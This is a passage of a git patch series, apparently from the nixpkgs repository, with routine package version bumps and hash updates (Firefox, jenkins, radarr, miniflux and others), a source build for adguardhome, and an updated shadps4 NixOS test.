-      sha256 = "6e51b9520f999d1d436cd4d65c526106c2d49fd67d8f5f435e2ccb8aed07d499";
+      sha256 = "8e760c6751680f941e1b2a59970d0c43cd2df24a414ba52cbbc0cbc427ea7a94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/trs/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/trs/Firefox%20139.0.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "38e5f9d1392c64cf53e3263d599f3ca2deead8f507ab89a8b13305185af8123d";
+      sha256 = "595d1e4973263348535c50f5c6eaa0cdd74d0db1b4e2b78ec8c2a2ace9ca828d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/uk/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/uk/Firefox%20139.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "cf75cb71b63b31252fb5e605d3f86f889a19a8aaf680e7058859843c289ececa";
+      sha256 = "d2708ae447d70c3d931b4b7d63dba5d75969b7e0579a7adec90cc916276d0749";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/ur/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ur/Firefox%20139.0.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "c3ecbafe9be4063d9a1dc944fafe5c9286525cf60e96890390d40092e1513e3a";
+      sha256 = "53e1f218129ba29019bc2bc6085bc0d66221af03f17c12e688cd67908226ca79";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/uz/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/uz/Firefox%20139.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "60780aed5504b50d1cdba188480937335bfa810925478061cc146416fe76ab15";
+      sha256 = "daf46d0a45e156d379c3bfb65b405db825d248a1112491cc8b4116b742b2108b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/vi/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/vi/Firefox%20139.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "3ffc36e2d19298cecf659e208b6f4298c4b871c8f579c92478d0df6f7d75d797";
+      sha256 = "b14577d72f748f9afd811366b2a0ddeea6543cd63ff01b9294335d26d0632073";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/xh/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/xh/Firefox%20139.0.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "2b5342eccf9e0be7afd820abe5e8f1ac9c67c5814dd1b7e09714e13f183887cf";
+      sha256 = "d8ba0b0ef4e3e8c15c88498a5ecd45e43018980a64b6ef5c5cfd8680e6b9f828";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/zh-CN/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/zh-CN/Firefox%20139.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "d78e66267a70dbbba17cb4992114d39594cf0562540c81d00749382a50f95ddd";
+      sha256 = "9c8d97170ef8b9868e84844f7bc4b968fa4303b0cae8b4820ebe5f49778d9853";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/138.0.4/mac/zh-TW/Firefox%20138.0.4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/zh-TW/Firefox%20139.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "6e4141e78b4593d7d9bee2eacaec14ce0eac7b555ebf787d3dd858c7d373afc2";
+      sha256 = "3cee288e2a060de82a3d795622c5d754cb2d9d96529c3c15b6e6fef89c7b7806";
     }
   ];
 }

From 84bc060f64978f0bc0ba1a3efcd22d14ea44b24f Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Mon, 26 May 2025 09:42:06 +0800
Subject: [PATCH 0080/4511] nekoray: install icon

(cherry picked from commit cd6a75f099be6b015aa17f3e8a733cdef44cd724)
---
 pkgs/by-name/ne/nekoray/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/ne/nekoray/package.nix b/pkgs/by-name/ne/nekoray/package.nix
index fc524827a1d6..3a5927a83f28 100644
--- a/pkgs/by-name/ne/nekoray/package.nix
+++ b/pkgs/by-name/ne/nekoray/package.nix
@@ -66,6 +66,9 @@ stdenv.mkDerivation (finalAttrs: {
     runHook preInstall
 
     install -Dm755 nekoray "$out/share/nekoray/nekoray"
+
+    install -Dm644 "$src/res/public/nekobox.png" "$out/share/pixmaps/nekoray.png"
+
     mkdir -p "$out/bin"
     ln -s "$out/share/nekoray/nekoray" "$out/bin"
 

From d4b6939af1563e9ff2f1756b25a1fd14431cab7c Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 27 Apr 2025 20:17:49 -0600
Subject: [PATCH 0081/4511] shadps4: 0.7.0 -> 0.9.0

Diff: https://github.com/shadps4-emu/shadPS4/compare/v.0.7.0...v.0.9.0
(cherry picked from commit d721272be008fc0aac4d0b02259a3fd8c4da5c45)
---
 pkgs/by-name/sh/shadps4/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sh/shadps4/package.nix b/pkgs/by-name/sh/shadps4/package.nix
index 7cd5fb54d86c..43f46afa754a 100644
--- a/pkgs/by-name/sh/shadps4/package.nix
+++ b/pkgs/by-name/sh/shadps4/package.nix
@@ -39,13 +39,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "shadps4";
-  version = "0.7.0";
+  version = "0.9.0";
 
   src = fetchFromGitHub {
     owner = "shadps4-emu";
     repo = "shadPS4";
     tag = "v.${finalAttrs.version}";
-    hash = "sha256-g55Ob74Yhnnrsv9+fNA1+uTJ0H2nyH5UT4ITHnrGKDo=";
+    hash = "sha256-ljnoClmijCds/ydqXaRuUL6/Qv/fGIkLyGsmfPDqvVo=";
     fetchSubmodules = true;
   };
 

From e1004c985bd70ddad3ae89e9ed5461bb9b185756 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 24 May 2025 16:58:14 -0600
Subject: [PATCH 0082/4511] shadps4: use eboot.bin instead

(cherry picked from commit 15a6e88a3a106863edb8344cc7ed35a0d61c3ab7)
---
 nixos/tests/shadps4.nix | 56 +++++++++++------------------------------
 1 file changed, 15 insertions(+), 41 deletions(-)

diff --git a/nixos/tests/shadps4.nix b/nixos/tests/shadps4.nix
index 71d056cf001b..b6ac6397a642 100644
--- a/nixos/tests/shadps4.nix
+++ b/nixos/tests/shadps4.nix
@@ -21,13 +21,16 @@
           in
           pkgs.runCommand "OpenOrbis-PNG-Sample"
             {
-              nativeBuildInputs = with pkgs; [ unzip ];
+              nativeBuildInputs = with pkgs; [
+                unzip
+                liborbispkg-pkgtool
+              ];
               meta.license = lib.licenses.gpl3Only;
             }
             ''
               unzip ${sample-packages} samples/IV0000-BREW00086_00-IPNGDRAWEX000000.pkg
-              mkdir $out
-              mv samples/IV0000-BREW00086_00-IPNGDRAWEX000000.pkg $out/OpenOrbis-PNG-Sample.pkg
+              mkdir -p $out/OpenOrbis-PNG-Sample
+              pkgtool pkg_extract samples/IV0000-BREW00086_00-IPNGDRAWEX000000.pkg $out/OpenOrbis-PNG-Sample
             '';
 
         systemPackages = with pkgs; [
@@ -90,53 +93,24 @@
         machine.wait_for_text("Play Time")
         machine.screenshot("0002-shadps4-started")
 
-    with subtest("installing example works"):
+    with subtest("running example works"):
+        # Ensure that chosen openorbis logo colour isn't present already
+        assert (
+            check_for_color(openorbisColor)(True) == False
+        ), "openorbisColor {} was present on the screen before we launched anything!".format(openorbisColor)
+
         machine.succeed("xdotool mousemove 20 30 click 1") # click on "File"
-        machine.wait_for_text("Install Packages")
+        machine.wait_for_text("Boot Game")
         machine.send_key("down")
         machine.send_key("ret")
 
         # Pick the PNG sample (hello world runs too, but text-only output is currently broken)
         machine.wait_for_text("Look in")
-        machine.send_chars("/etc/openorbis-sample-packages/OpenOrbis-PNG-Sample.pkg\n")
-
-        # Install to default dir
-        machine.wait_for_text("which directory")
-        machine.send_key("ret")
-
-        # Wait for installation getting done & return to main window
-        machine.wait_for_text("successfully installed")
-        machine.send_key("ret")
-
-        # Sample should now be listed
-        machine.wait_for_text("OpenOrbis PNG Sample")
-        machine.screenshot("0003-shadps4-sample-installed")
-
-    with subtest("emulation works-ish"):
-        # Ensure that selection colours isn't present already
-        assert (
-            check_for_color(selectionColor)(True) == False
-        ), "selectionColor {} was present on the screen before we selected anything!".format(selectionColor)
-
-        # Select first installed app
-        machine.succeed("xdotool mousemove 20 150 click 1")
-
-        # Waiting for selection to be confirmed
-        with machine.nested("Waiting for the screen to have selectionColor {} on it:".format(selectionColor)):
-            retry(check_for_color(selectionColor))
-
-        # Ensure that chosen openorbis logo colour isn't present already
-        assert (
-            check_for_color(openorbisColor)(True) == False
-        ), "openorbisColor {} was present on the screen before we selected anything!".format(openorbisColor)
-
-        # Click launch button
-        machine.succeed("xdotool mousemove 40 60 click 1")
-        machine.wait_for_console_text("Entering draw loop...")
+        machine.send_chars("/etc/openorbis-sample-packages/OpenOrbis-PNG-Sample/uroot/eboot.bin\n")
 
         # Look for logo
         with machine.nested("Waiting for the screen to have openorbisColor {} on it:".format(openorbisColor)):
             retry(check_for_color(openorbisColor))
-        machine.screenshot("0004-shadps4-sample-running")
+        machine.screenshot("0003-shadps4-sample-running")
   '';
 }

From 0ad9423c97b58aa57dbd4862d22025ed16203796 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sat, 24 May 2025 17:07:39 +0300
Subject: [PATCH 0083/4511] raycast: 1.99.0 -> 1.99.2

(cherry picked from commit 86fe0dd79bbc4b0d0998647a4b3df790b94809ad)
---
 pkgs/by-name/ra/raycast/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/raycast/package.nix b/pkgs/by-name/ra/raycast/package.nix
index 71a0e29a62b4..7f74c8b6693a 100644
--- a/pkgs/by-name/ra/raycast/package.nix
+++ b/pkgs/by-name/ra/raycast/package.nix
@@ -12,19 +12,19 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "raycast";
-  version = "1.99.0";
+  version = "1.99.2";
 
   src =
     {
       aarch64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=arm";
-        hash = "sha256-5TMVwZ912+r0OP2NeBc53FOkanaRHJgw+P+JbtdBsKg=";
+        hash = "sha256-VtZy1pUayK4r8L74llguBid5VJ1UcanNg8rWcOswVh4=";
       };
       x86_64-darwin = fetchurl {
         name = "Raycast.dmg";
         url = "https://releases.raycast.com/releases/${finalAttrs.version}/download?build=x86_64";
-        hash = "sha256-fhW/qQksn69ri7dLwMerRsktZ3Ykn5qmlNkWZ2piN58=";
+        hash = "sha256-PoR7bln88TtfNixhHnBCIA8ddesjQTin2o6nZ4dXPms=";
       };
     }
     .${stdenvNoCC.system} or (throw "raycast: ${stdenvNoCC.system} is unsupported.");

From 8fe3be02e82428c1fcfdfb5e17597d9901baebee Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Sat, 24 May 2025 01:56:14 +0200
Subject: [PATCH 0084/4511] jenkins: 2.492.3 -> 2.504.1

Signed-off-by: Felix Singer <felixsinger@posteo.net>
---
 pkgs/by-name/je/jenkins/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/je/jenkins/package.nix b/pkgs/by-name/je/jenkins/package.nix
index f53773dc176b..2f58201c9a93 100644
--- a/pkgs/by-name/je/jenkins/package.nix
+++ b/pkgs/by-name/je/jenkins/package.nix
@@ -18,11 +18,11 @@
 
 stdenv.mkDerivation rec {
   pname = "jenkins";
-  version = "2.492.3";
+  version = "2.504.1";
 
   src = fetchurl {
     url = "https://get.jenkins.io/war-stable/${version}/jenkins.war";
-    hash = "sha256-kMz1VhM8Nv33ZTrXEPANJIvyiV+fvCbM7g4tO6aBsB8=";
+    hash = "sha256-gQJtsYsMSq1rYs9AjkxC5Xl2YbQcUXs332BiOOibnfE=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From dcdd0c41ea39430a5bdb290f50a301007203f0d2 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 15:12:50 +0000
Subject: [PATCH 0085/4511] radarr: 5.21.1.9799 -> 5.24.1.10017

(cherry picked from commit e437cdb89f5d5fa8424fe359bb5dd936bdcfd4ea)
---
 pkgs/servers/radarr/default.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/servers/radarr/default.nix b/pkgs/servers/radarr/default.nix
index e011a9f23524..82dd1814f06b 100644
--- a/pkgs/servers/radarr/default.nix
+++ b/pkgs/servers/radarr/default.nix
@@ -27,17 +27,17 @@ let
 
   hash =
     {
-      x64-linux_hash = "sha256-/EeFQdhkPkebyaE2MLpVp1/9rHiEpVDWBWiX2H8xyDg=";
-      arm64-linux_hash = "sha256-VG1oiyYRzfeLoz2mbDbTE29MKvPtjvrZKANb1Hw1VFw=";
-      x64-osx_hash = "sha256-Ss3GtQtEW3QP4PHTo+Q6+LyIxA8Bd7fkV8NfMiYtE0k=";
-      arm64-osx_hash = "sha256-9/gTN4EcQYKcDo0SZiRQHuOFqC3M3iBLFV7XPO7XKbw=";
+      x64-linux_hash = "sha256-cXAOXQE6eBFgJMw/Tai1/bxWon1fuh7guYUdQ+pmIMA=";
+      arm64-linux_hash = "sha256-ogWUNXtgmoUOxhQNE15+stddyurCPCeCb+OdHEdCZE4=";
+      x64-osx_hash = "sha256-+0UevL2jgkv0lLcRP7qJO3HrYfgNCWEPcwlGlSRPWA8=";
+      arm64-osx_hash = "sha256-nhUno+3a76n+gRy7hulfA0qYQ5Bh7dXOX5CcZd+kWPY=";
     }
     ."${arch}-${os}_hash";
 
 in
 stdenv.mkDerivation rec {
   pname = "radarr";
-  version = "5.21.1.9799";
+  version = "5.24.1.10017";
 
   src = fetchurl {
     url = "https://github.com/Radarr/Radarr/releases/download/v${version}/Radarr.master.${version}.${os}-core-${arch}.tar.gz";

From 9e6003f0d5b14d71c9518c3c1a7612ab87b286c9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?=
 <ereslibre@ereslibre.es>
Date: Thu, 15 May 2025 10:19:33 +0200
Subject: [PATCH 0086/4511] virtualisation/docker: fix nvidia container wrapper

(cherry picked from commit 7e42e4431b0692c4968c4114d977aa311969a774)
---
 nixos/modules/virtualisation/docker.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/virtualisation/docker.nix b/nixos/modules/virtualisation/docker.nix
index 12a950aa3cf3..e67ec76c4dea 100644
--- a/nixos/modules/virtualisation/docker.nix
+++ b/nixos/modules/virtualisation/docker.nix
@@ -355,7 +355,7 @@ in
             # the `--runtime=nvidia` approach to expose
             # GPU's. Starting with Docker > 25, CDI can be used
             # instead, removing the need for runtime wrappers.
-            path = lib.getExe' pkgs.nvidia-docker "nvidia-container-runtime.legacy";
+            path = lib.getExe' (lib.getOutput "tools" config.hardware.nvidia-container-toolkit.package) "nvidia-container-runtime";
           };
         };
       };

From ba1a2518b03e329cae79f5930687925128e1d5f2 Mon Sep 17 00:00:00 2001
From: Golbinex <2061409-Golbinex@users.noreply.gitlab.com>
Date: Mon, 26 May 2025 06:54:35 +0000
Subject: [PATCH 0087/4511] adguardhome: Build from source

(cherry picked from commit a7160b00117aac9f3e84d5e2269bcd83964f70af)
---
 pkgs/servers/adguardhome/bins.nix    | 31 --------------------
 pkgs/servers/adguardhome/default.nix | 44 ++++++++++++++++++----------
 pkgs/servers/adguardhome/update.sh   | 27 +----------------
 3 files changed, 30 insertions(+), 72 deletions(-)
 delete mode 100644 pkgs/servers/adguardhome/bins.nix

diff --git a/pkgs/servers/adguardhome/bins.nix b/pkgs/servers/adguardhome/bins.nix
deleted file mode 100644
index bd4755c451d7..000000000000
--- a/pkgs/servers/adguardhome/bins.nix
+++ /dev/null
@@ -1,31 +0,0 @@
-{ fetchurl, fetchzip }:
-{
-  x86_64-darwin = fetchzip {
-    sha256 = "sha256-/xwRH9+qJQ91z2alo2sBdnLs2Z2wXUMHqJvxagptx5U=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_darwin_amd64.zip";
-  };
-  aarch64-darwin = fetchzip {
-    sha256 = "sha256-60uD8dH4Dqbey21HGx/PIzWBcN/00V1/oS1ubrucayY=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_darwin_arm64.zip";
-  };
-  i686-linux = fetchurl {
-    sha256 = "sha256-RJeU+n46IMncX5MXDedw/7DSe6pISsTJEyfI5B1pEcY=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_linux_386.tar.gz";
-  };
-  x86_64-linux = fetchurl {
-    sha256 = "sha256-jZV/U4DUw70J1xmZLM5+gqAgpUP7fdyw46Neq8fQxT0=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_linux_amd64.tar.gz";
-  };
-  aarch64-linux = fetchurl {
-    sha256 = "sha256-TtD8KR92Mv3Z3nCz4xIT+FcuxwqgDTq3C1lGIELrEQU=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_linux_arm64.tar.gz";
-  };
-  armv6l-linux = fetchurl {
-    sha256 = "sha256-MosFBi72sgdZshUzAxi/ht56VpeHMguRQawU3DI5Va8=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_linux_armv6.tar.gz";
-  };
-  armv7l-linux = fetchurl {
-    sha256 = "sha256-7YFzd6z9eCGBHlyYgDiwE+cpQzEuQIHDYfbCopapYrw=";
-    url = "https://github.com/AdguardTeam/AdGuardHome/releases/download/v0.107.61/AdGuardHome_linux_armv7.tar.gz";
-  };
-}
diff --git a/pkgs/servers/adguardhome/default.nix b/pkgs/servers/adguardhome/default.nix
index 17835e373b1d..a3bb07fe244e 100644
--- a/pkgs/servers/adguardhome/default.nix
+++ b/pkgs/servers/adguardhome/default.nix
@@ -1,23 +1,39 @@
 {
   lib,
-  stdenv,
-  fetchurl,
-  fetchzip,
+  fetchFromGitHub,
+  buildGoModule,
+  buildNpmPackage,
   nixosTests,
 }:
 
-let
-  inherit (stdenv.hostPlatform) system;
-  sources = import ./bins.nix { inherit fetchurl fetchzip; };
-in
-
-stdenv.mkDerivation rec {
+buildGoModule rec {
   pname = "adguardhome";
   version = "0.107.61";
-  src = sources.${system} or (throw "Source for ${pname} is not available for ${system}");
+  src = fetchFromGitHub {
+    owner = "AdguardTeam";
+    repo = "AdGuardHome";
+    tag = "v${version}";
+    hash = "sha256-nKN1yr0HxUrjFD/9e87pxNqbQkNFlreJI2OHEQkbW2Q=";
+  };
 
-  installPhase = ''
-    install -m755 -D ./AdGuardHome $out/bin/adguardhome
+  vendorHash = "sha256-odUfgLTSBLnzN1wsl7TOftGn7OmdbACO/83ukZ8PUaQ=";
+
+  dashboard = buildNpmPackage {
+    inherit src;
+    name = "dashboard";
+    postPatch = ''
+      cd client
+    '';
+    npmDepsHash = "sha256-s7TJvGyk05HkAOgjYmozvIQ3l2zYUhWrGRJrWdp9ZJQ=";
+    npmBuildScript = "build-prod";
+    postBuild = ''
+      mkdir -p $out/build/
+      cp -r ../build/static/ $out/build/
+    '';
+  };
+
+  preBuild = ''
+    cp -r ${dashboard}/build/static build
   '';
 
   passthru = {
@@ -29,14 +45,12 @@ stdenv.mkDerivation rec {
   meta = with lib; {
     homepage = "https://github.com/AdguardTeam/AdGuardHome";
     description = "Network-wide ads & trackers blocking DNS server";
-    platforms = builtins.attrNames sources;
     maintainers = with maintainers; [
       numkem
       iagoq
       rhoriguchi
     ];
-    sourceProvenance = with sourceTypes; [ binaryNativeCode ];
     license = licenses.gpl3Only;
-    mainProgram = "adguardhome";
+    mainProgram = "AdGuardHome";
   };
 }
diff --git a/pkgs/servers/adguardhome/update.sh b/pkgs/servers/adguardhome/update.sh
index b85129e8289a..6583a235f4de 100755
--- a/pkgs/servers/adguardhome/update.sh
+++ b/pkgs/servers/adguardhome/update.sh
@@ -6,7 +6,6 @@
 set -euo pipefail
 
 dirname="$(dirname "$0")"
-bins="$dirname/bins.nix"
 
 latest_release=$(curl --silent https://api.github.com/repos/AdguardTeam/AdGuardHome/releases/latest)
 version=$(jq -r '.tag_name' <<<"$latest_release")
@@ -18,30 +17,6 @@ schema_version=$(curl --silent "https://raw.githubusercontent.com/AdguardTeam/Ad
 
 echo "got schema_version $schema_version"
 
-declare -A systems
-systems[linux_386]=i686-linux
-systems[linux_amd64]=x86_64-linux
-systems[linux_arm64]=aarch64-linux
-systems[linux_armv6]=armv6l-linux
-systems[linux_armv7]=armv7l-linux
-systems[darwin_amd64]=x86_64-darwin
-systems[darwin_arm64]=aarch64-darwin
+nix-update --subpackage dashboard adguardhome --version $version
 
-echo '{ fetchurl, fetchzip }:' > "$bins"
-echo '{' >> "$bins"
-
-for asset in $(curl --silent https://api.github.com/repos/AdguardTeam/AdGuardHome/releases/latest | jq -c '.assets[]') ; do
-    url="$(jq -r '.browser_download_url' <<< "$asset")"
-    adg_system="$(grep -Eo '(darwin|linux)_(386|amd64|arm64|armv6|armv7)' <<< "$url" || true)"
-    if [ -n "$adg_system" ]; then
-        fetch="$(grep '\.zip$' <<< "$url" > /dev/null && echo fetchzip || echo fetchurl)"
-        nix_system=${systems[$adg_system]}
-        nix_src="$(nix-prefetch --option extra-experimental-features flakes -s --output nix $fetch --url $url)"
-        echo "$nix_system = $fetch $nix_src;" >> $bins
-    fi
-done
-
-echo '}' >> "$bins"
-
-sed -i -r -e "s/version\s*?=\s*?.*?;/version = \"${version#v}\";/" "$dirname/default.nix"
 sed -i -r -e "s/schema_version\s*?=\s*?.*?;/schema_version = ${schema_version};/" "$dirname/default.nix"

From 0fc3633c66981d660f85ad7774594195d5f4942f Mon Sep 17 00:00:00 2001
From: Golbinex <2061409-Golbinex@users.noreply.gitlab.com>
Date: Mon, 26 May 2025 06:55:07 +0000
Subject: [PATCH 0088/4511] adguardhome: Add baksa to maintainers

(cherry picked from commit a2686ae9702f6677bca09f81d793c68e5c5b3317)
---
 pkgs/servers/adguardhome/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/servers/adguardhome/default.nix b/pkgs/servers/adguardhome/default.nix
index a3bb07fe244e..cdcddb01caba 100644
--- a/pkgs/servers/adguardhome/default.nix
+++ b/pkgs/servers/adguardhome/default.nix
@@ -49,6 +49,7 @@ buildGoModule rec {
       numkem
       iagoq
       rhoriguchi
+      baksa
     ];
     license = licenses.gpl3Only;
     mainProgram = "AdGuardHome";

From b59accc8e92c3245771877ecd5c5a1d5b2be8bcc Mon Sep 17 00:00:00 2001
From: Golbinex <2061409-Golbinex@users.noreply.gitlab.com>
Date: Mon, 26 May 2025 06:57:12 +0000
Subject: [PATCH 0089/4511] nixos/adguardhome: Update binary path

The compiled binary filename has upper cases

(cherry picked from commit 6e99825c1830d6a816b26ac7d303d6e0832f4f74)
---
 nixos/modules/services/networking/adguardhome.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/networking/adguardhome.nix b/nixos/modules/services/networking/adguardhome.nix
index fc23d2af0b22..3d700d4584c4 100644
--- a/nixos/modules/services/networking/adguardhome.nix
+++ b/nixos/modules/services/networking/adguardhome.nix
@@ -36,7 +36,7 @@ let
       null;
 
   configFile = (settingsFormat.generate "AdGuardHome.yaml" settings).overrideAttrs (_: {
-    checkPhase = "${cfg.package}/bin/adguardhome -c $out --check-config";
+    checkPhase = "${cfg.package}/bin/AdGuardHome -c $out --check-config";
   });
 in
 {

From 3e4b868101a796efcb7280f15e1de57b04f44dab Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 01:39:57 +0000
Subject: [PATCH 0090/4511] amazon-q-cli: 1.10.0 -> 1.10.1

(cherry picked from commit f9046d182eae78fe5cc69b18c84578dd5a1ae623)
---
 pkgs/by-name/am/amazon-q-cli/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/am/amazon-q-cli/package.nix b/pkgs/by-name/am/amazon-q-cli/package.nix
index 5e6e66dee31d..340238e6140a 100644
--- a/pkgs/by-name/am/amazon-q-cli/package.nix
+++ b/pkgs/by-name/am/amazon-q-cli/package.nix
@@ -8,18 +8,18 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "amazon-q-cli";
-  version = "1.10.0";
+  version = "1.10.1";
 
   src = fetchFromGitHub {
     owner = "aws";
     repo = "amazon-q-developer-cli";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-X1L3Nrzchp8yuGGBwwLQ4ZE41GKH3pFR2CX77TYYhNo=";
+    hash = "sha256-HgbF5jistZhzebZmnTmMBlHuL6/fy1kcQplAFldzAV8=";
   };
 
   useFetchCargoVendor = true;
 
-  cargoHash = "sha256-qtQ+e0NRzzGn0s2zpnMNUv7JdQDuImMfyC0C/QZrpjU=";
+  cargoHash = "sha256-yhSVnz8gzJy/E9T1U4GsT3b7wmYzSCYXEb8y2HOIQms=";
 
   cargoBuildFlags = [
     "-p"

From e9fa410f1f71871e7ab7f98fcc1067551e89ce0a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 10:23:16 +0000
Subject: [PATCH 0091/4511] python3Packages.tlds: 2025043000 -> 2025051700

(cherry picked from commit bb3362bb187687d0190ea50b82c02cfd499f866a)
---
 pkgs/development/python-modules/tlds/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/tlds/default.nix b/pkgs/development/python-modules/tlds/default.nix
index 25702a4a5df9..4a4d2cd161c1 100644
--- a/pkgs/development/python-modules/tlds/default.nix
+++ b/pkgs/development/python-modules/tlds/default.nix
@@ -8,14 +8,14 @@
 
 buildPythonPackage rec {
   pname = "tlds";
-  version = "2025043000";
+  version = "2025051700";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "kichik";
     repo = "tlds";
     tag = version;
-    hash = "sha256-yyDnQMQmZAlHvrWgxSi47E26fJ74FI4COwv1NOLvOL0=";
+    hash = "sha256-AqVe9U/gLjXkmLls4+t04youpY7DtrbmlaHVUdAElMo=";
   };
 
   nativeBuildInputs = [ setuptools ];

From 61de6faec82df1a0185fabfb539ce8aef7f43402 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 27 May 2025 13:11:10 +0200
Subject: [PATCH 0092/4511] miniflux: 2.2.8 -> 2.2.9

https://miniflux.app/releases/2.2.9.html

diff: https://github.com/miniflux/v2/compare/2.2.8...2.2.9
(cherry picked from commit 0cf04bdcf56aa7ced9c678447b0c7225c19ead1d)
---
 pkgs/by-name/mi/miniflux/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/mi/miniflux/package.nix b/pkgs/by-name/mi/miniflux/package.nix
index 75397b7ecc80..3b8b68c3d549 100644
--- a/pkgs/by-name/mi/miniflux/package.nix
+++ b/pkgs/by-name/mi/miniflux/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "miniflux";
-  version = "2.2.8";
+  version = "2.2.9";
 
   src = fetchFromGitHub {
     owner = "miniflux";
     repo = "v2";
     tag = version;
-    hash = "sha256-AQ6HVRVlWt1D8fA4Z2FH7VIEKydDva7txwa/9Rfq0Ho=";
+    hash = "sha256-pp+QaofbU6Vkh2ifQLpUq+dbQTx/jX2JgM/9uji13tU=";
   };
 
-  vendorHash = "sha256-9I0/dyjanuV8oZystox9RY/gGx1SZuFRTghArv5aJ64=";
+  vendorHash = "sha256-6tgZdwr9g/VCnLUEmwAl8vzOzQu6SEGV9PhTp47eXds=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From 1c1c66e9fd842ab3f57ce9560ddb368c896faf0c Mon Sep 17 00:00:00 2001
From: Markus Kowalewski <markus.kowalewski@gmail.com>
Date: Mon, 26 May 2025 13:29:23 +0200
Subject: [PATCH 0093/4511] gromacs: 2025.1 -> 2025.2

(cherry picked from commit fe03f72e318805a65d1365b55ab956d9636a2f6a)
---
 .../science/molecular-dynamics/gromacs/default.nix            | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
index b1423b30a846..d8bc2a855598 100644
--- a/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
+++ b/pkgs/applications/science/molecular-dynamics/gromacs/default.nix
@@ -53,8 +53,8 @@ let
       }
     else
       {
-        version = "2025.1";
-        hash = "sha256-Ct9iGoD9gEP43v7ITOAoEcDN9CoFIjKJCTLYHyXE0oo=";
+        version = "2025.2";
